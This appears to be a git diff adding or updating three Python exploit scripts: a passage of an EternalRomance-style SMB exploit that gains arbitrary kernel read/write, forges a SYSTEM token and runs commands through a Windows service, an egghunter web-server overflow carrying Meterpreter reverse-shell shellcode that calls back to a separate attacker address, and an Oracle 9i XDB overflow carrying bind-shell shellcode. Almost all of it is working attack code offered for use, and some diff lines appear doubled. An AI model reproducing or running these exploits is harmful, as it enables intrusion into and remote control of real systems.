# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
# because of this unfreed memory chunk. I will avoid it.
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
# transactions (do not know the address).
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
# we also modify HIDWORD of InParameter to 0xffffffff.
print('modify parameter count to 0xffffffff to be able to write backward')
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
if info['arch'] == 'x64':
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
# modify paramterCount of first transaction
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
if info['arch'] == 'x64':
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
# restore trans2.InParameters pointer before leaking next transaction
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
wait_for_request_processed(conn)
# ================================
# leak transaction
# ================================
print('leak next transaction')
# modify TRANSACTION member to leak info
# function=5 (NT_TRANS_RENAME)
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
conn.send_nt_trans_secondary(mid=special_mid)
leakData = conn.recv_transaction_data(special_mid, 0x100)
leakData = leakData[4:] # remove param
#open('leak.dat', 'wb').write(leakData)
# check heap chunk size value in leak data
if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != (TRANS_CHUNK_SIZE // info['POOL_ALIGN']):
print('chunk size is wrong')
return False
# extract leak transaction data and make next transaction to be trans2
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
leakTrans = leakData[leakTranOffset:]
fmt = info['PTR_FMT']
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
print('CONNECTION: 0x{:x}'.format(connection_addr))
print('SESSION: 0x{:x}'.format(session_addr))
print('FLINK: 0x{:x}'.format(flink_value))
print('InData: 0x{:x}'.format(indata_value))
print('MID: 0x{:x}'.format(trans2_mid))
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
print('TRANS1: 0x{:x}'.format(trans1_addr))
print('TRANS2: 0x{:x}'.format(trans2_addr))
# ================================
# modify trans struct to be used for arbitrary read/write
# ================================
print('modify transaction struct for arbitrary read/write')
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans1.mid
trans1_mid = conn.next_mid()
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
info.update({
'connection': connection_addr,
'session': session_addr,
'trans1_mid': trans1_mid,
'trans1_addr': trans1_addr,
'trans2_mid': trans2_mid,
'trans2_addr': trans2_addr,
})
return True
def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
SID_SYSTEM = pack('<BB5xB'+'I', 1, 1, 5, 18)
SID_ADMINISTRATORS = pack('<BB5xB'+'II', 1, 2, 5, 32, 544)
SID_AUTHENICATED_USERS = pack('<BB5xB'+'I', 1, 1, 5, 11)
SID_EVERYONE = pack('<BB5xB'+'I', 1, 1, 1, 0)
# SID_SYSTEM and SID_ADMINISTRATORS must be added
sids = [ SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS ]
# - user has no attribute (0)
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
attrs = [ 0, 0xe, 7, 7 ]
# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
# fake user and groups will be in same buffer of original one
# so fake sids size must NOT be bigger than the original sids
fakeUserAndGroupCount = min(userAndGroupCount, 4)
fakeUserAndGroupsAddr = userAndGroupsAddr
addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
fakeUserAndGroups = ''
for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
addr += len(sid)
fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
return fakeUserAndGroupCount, fakeUserAndGroups
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith('Windows Vista'):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
print('This exploit does not support this target')
sys.exit()
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
print('Not found accessible named pipe')
return False
print('Using named pipe: '+pipe_name)
if not info['method'](conn, pipe_name, info):
return False
# Now, read_data() and write_data() can be used for arbitrary read and write. # Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================ # ================================
# Modify this SMB session to be SYSTEM # Modify this SMB session to be SYSTEM
# ================================ # ================================
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this fmt = info['PTR_FMT']
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
print('make this SMB session to be SYSTEM') print('make this SMB session to be SYSTEM')
# IsNullSession = 0, IsAdmin = 1 # IsNullSession = 0, IsAdmin = 1
@ -434,30 +846,69 @@ def exploit(target, pipe_name):
sessionData = read_data(conn, info, info['session'], 0x100) sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0] secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
# copy SecurityContext for restoration if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE']) # Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
print('overwriting session security context') tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
# see FAKE_SECCTX detail at top of the file tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX']) print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
print('overwriting token UserAndGroups')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
print('overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================ # ================================
# do whatever we want as SYSTEM over this SMB connection # do whatever we want as SYSTEM over this SMB connection
# ================================ # ================================
try: try:
smb_pwn(conn) smb_pwn(conn, info['arch'])
except: except:
pass pass
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked. # restore SecurityContext/Token
write_data(conn, info, secCtxAddr, secCtxData) if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(tid) conn.disconnect_tree(conn.get_tid())
conn.logoff() conn.logoff()
conn.get_socket().close() conn.get_socket().close()
return True return True
def smb_pwn(conn):
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection() smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target') print('creating file c:\\pwned.txt on the target')
@ -468,12 +919,16 @@ def smb_pwn(conn):
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py') #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
def smb_send_file(smbConn, localSrc, remoteDrive, remotePath): def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
with open(localSrc, 'rb') as fp: with open(localSrc, 'rb') as fp:
smbConn.putFile(remoteDrive + '$', remotePath, fp.read) smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py # based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd): def service_exec(conn, cmd):
import random import random
import string import string
@ -485,7 +940,7 @@ def service_exec(conn, cmd):
rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect() rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR) rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svnHandle = None svcHandle = None
try: try:
print("Opening SVCManager on %s....." % conn.get_remote_host()) print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc) resp = scmr.hROpenSCManagerW(rpcsvc)
@ -494,7 +949,7 @@ def service_exec(conn, cmd):
# First we try to open the service in case it exists. If it does, we remove it. # First we try to open the service in case it exists. If it does, we remove it.
try: try:
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
except Exception, e: except Exception as e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
raise e # Unexpected error raise e # Unexpected error
else: else:
@ -513,15 +968,15 @@ def service_exec(conn, cmd):
scmr.hRStartServiceW(rpcsvc, serviceHandle) scmr.hRStartServiceW(rpcsvc, serviceHandle)
# is it really need to stop? # is it really need to stop?
# using command line always makes starting service fail because SetServiceStatus() does not get called # using command line always makes starting service fail because SetServiceStatus() does not get called
print('Stoping service %s.....' % service_name) #print('Stoping service %s.....' % service_name)
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
except Exception, e: except Exception as e:
print(str(e)) print(str(e))
print('Removing service %s.....' % service_name) print('Removing service %s.....' % service_name)
scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRDeleteService(rpcsvc, serviceHandle)
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
except Exception, e: except Exception as e:
print("ServiceExec Error on: %s" % conn.get_remote_host()) print("ServiceExec Error on: %s" % conn.get_remote_host())
print(str(e)) print(str(e))
finally: finally:
@ -531,12 +986,12 @@ def service_exec(conn, cmd):
rpcsvc.disconnect() rpcsvc.disconnect()
if len(sys.argv) != 3: if len(sys.argv) < 2:
print("{} <ip> <pipe_name>".format(sys.argv[0])) print("{} <ip> [pipe_name]".format(sys.argv[0]))
sys.exit(1) sys.exit(1)
target = sys.argv[1] target = sys.argv[1]
pipe_name = sys.argv[2] pipe_name = None if len(sys.argv) < 3 else sys.argv[2]
exploit(target, pipe_name) exploit(target, pipe_name)
print('Done') print('Done')

View file

@ -0,0 +1,89 @@
# Tested on Windows XP SP3 (x86)
# The application requires to have the web server enabled.
#!/usr/bin/python
import socket, threading, struct
host = "192.168.228.155"
port = 80
def send_egghunter_request():
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.228.158 LPORT=443 -f py
buf = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0a\x68\xc0\xa8\xe4\x9e\x68\x02\x00\x01"
buf += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"
buf += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
egghunter = "W00T" * 2
egghunter += "\x90" * 16 # Padding
egghunter += buf
egghunter += "\x42" * (100000 - len(egghunter))
content_length = len(egghunter) + 1000 # Just 1000 padding.
egghunter_request = "POST / HTTP/1.1\r\n"
egghunter_request += "Content-Type: multipart/form-data; boundary=evilBoundary\r\n"
egghunter_request += "Content-Length: " + str(content_length) + "\r\n"
egghunter_request += "\r\n"
egghunter_request += egghunter
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(egghunter_request)
s.recv(1024)
s.close()
def send_exploit_request():
buffer = "\x90" * 2495
buffer += "\xeb\x06\x90\x90" # short jump
buffer += struct.pack("<L", 0x1014fdef) # POP ESI; POP EBX; RETN - libspp
# ./egghunter.rb -b "\x00\x0a\x0b" -e "W00T" -f py
buffer += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c"
buffer += "\x05\x5a\x74\xef\xb8\x57\x30\x30\x54\x89\xd7\xaf\x75"
buffer += "\xea\xaf\x75\xe7\xff\xe7"
buffer += "\x41" * (6000 - len(buffer))
#HTTP Request
request = "GET /" + buffer + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(request)
s.close()
if __name__ == "__main__":
t = threading.Thread(target=send_egghunter_request)
t.start()
print "[+] Thread started."
send_exploit_request()

View file

@ -0,0 +1,75 @@
#Exploit Title:Oracle 9i XDB HTTP PASS Buffer Overflow
#Date: 09/25/2017
#Exploit Author: Charles Dardaman
#Twitter: https://twitter.com/CharlesDardaman
#Website: http://www.dardaman.com
#Version:9.2.0.1
#Tested on: Windows 2000 SP4
#CVE: 2003-0727
#This is a modified stand alone exploit of https://www.exploit-db.com/exploits/16809/
#!/usr/bin/python
import socket, sys, base64
#usage ./oracle9i_xbd_pass <target ip> <target port>
rhost = sys.argv[1] #target ip
rport = int(sys.argv[2]) #target port
#Variables:
ret = "\x46\x6d\x61\x60" #0x60616d46 Little endian form
nop = "\x90"
pre = "\x81\xc4\xff\xef\xff\xff\x44" #This has to be prepended into the shellcode.
#msfvenom -p windows/shell_bind_tcp lport=9989 exitfunc=thread -f py -b "\x00" -e x86/shikata_ga_nai
#355 bytes
payload = ""
payload += pre
payload += "\xba\x64\xdb\x93\xe7\xda\xd6\xd9\x74\x24\xf4\x58\x29"
payload += "\xc9\xb1\x53\x31\x50\x12\x83\xc0\x04\x03\x34\xd5\x71"
payload += "\x12\x48\x01\xf7\xdd\xb0\xd2\x98\x54\x55\xe3\x98\x03"
payload += "\x1e\x54\x29\x47\x72\x59\xc2\x05\x66\xea\xa6\x81\x89"
payload += "\x5b\x0c\xf4\xa4\x5c\x3d\xc4\xa7\xde\x3c\x19\x07\xde"
payload += "\x8e\x6c\x46\x27\xf2\x9d\x1a\xf0\x78\x33\x8a\x75\x34"
payload += "\x88\x21\xc5\xd8\x88\xd6\x9e\xdb\xb9\x49\x94\x85\x19"
payload += "\x68\x79\xbe\x13\x72\x9e\xfb\xea\x09\x54\x77\xed\xdb"
payload += "\xa4\x78\x42\x22\x09\x8b\x9a\x63\xae\x74\xe9\x9d\xcc"
payload += "\x09\xea\x5a\xae\xd5\x7f\x78\x08\x9d\xd8\xa4\xa8\x72"
payload += "\xbe\x2f\xa6\x3f\xb4\x77\xab\xbe\x19\x0c\xd7\x4b\x9c"
payload += "\xc2\x51\x0f\xbb\xc6\x3a\xcb\xa2\x5f\xe7\xba\xdb\xbf"
payload += "\x48\x62\x7e\xb4\x65\x77\xf3\x97\xe1\xb4\x3e\x27\xf2"
payload += "\xd2\x49\x54\xc0\x7d\xe2\xf2\x68\xf5\x2c\x05\x8e\x2c"
payload += "\x88\x99\x71\xcf\xe9\xb0\xb5\x9b\xb9\xaa\x1c\xa4\x51"
payload += "\x2a\xa0\x71\xcf\x22\x07\x2a\xf2\xcf\xf7\x9a\xb2\x7f"
payload += "\x90\xf0\x3c\xa0\x80\xfa\x96\xc9\x29\x07\x19\xd2\xac"
payload += "\x8e\xff\x76\xbf\xc6\xa8\xee\x7d\x3d\x61\x89\x7e\x17"
payload += "\xd9\x3d\x36\x71\xde\x42\xc7\x57\x48\xd4\x4c\xb4\x4c"
payload += "\xc5\x52\x91\xe4\x92\xc5\x6f\x65\xd1\x74\x6f\xac\x81"
payload += "\x15\xe2\x2b\x51\x53\x1f\xe4\x06\x34\xd1\xfd\xc2\xa8"
payload += "\x48\x54\xf0\x30\x0c\x9f\xb0\xee\xed\x1e\x39\x62\x49"
payload += "\x05\x29\xba\x52\x01\x1d\x12\x05\xdf\xcb\xd4\xff\x91"
payload += "\xa5\x8e\xac\x7b\x21\x56\x9f\xbb\x37\x57\xca\x4d\xd7"
payload += "\xe6\xa3\x0b\xe8\xc7\x23\x9c\x91\x35\xd4\x63\x48\xfe"
payload += "\xf4\x81\x58\x0b\x9d\x1f\x09\xb6\xc0\x9f\xe4\xf5\xfc"
payload += "\x23\x0c\x86\xfa\x3c\x65\x83\x47\xfb\x96\xf9\xd8\x6e"
payload += "\x98\xae\xd9\xba"
exploit = "AAAA:" + "B"*442 + "\xeb\x64" + (nop*2) + ret + (nop*266) +"\xeb\x10" + (nop*109) + payload + (nop * (400-len(payload)))
request = "GET / HTTP/1.1\r\n" + "Host: " + rhost + ":" + str(rport) + "\r\n" + "Authorization: Basic " + base64.b64encode(exploit) + "\r\n\r\n"
print ("Attacking " + rhost + ":" + str(rport))
#Connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,rport))
#Send exploit
s.send(request)
s.close()
print ("Try to connect on port 9989.")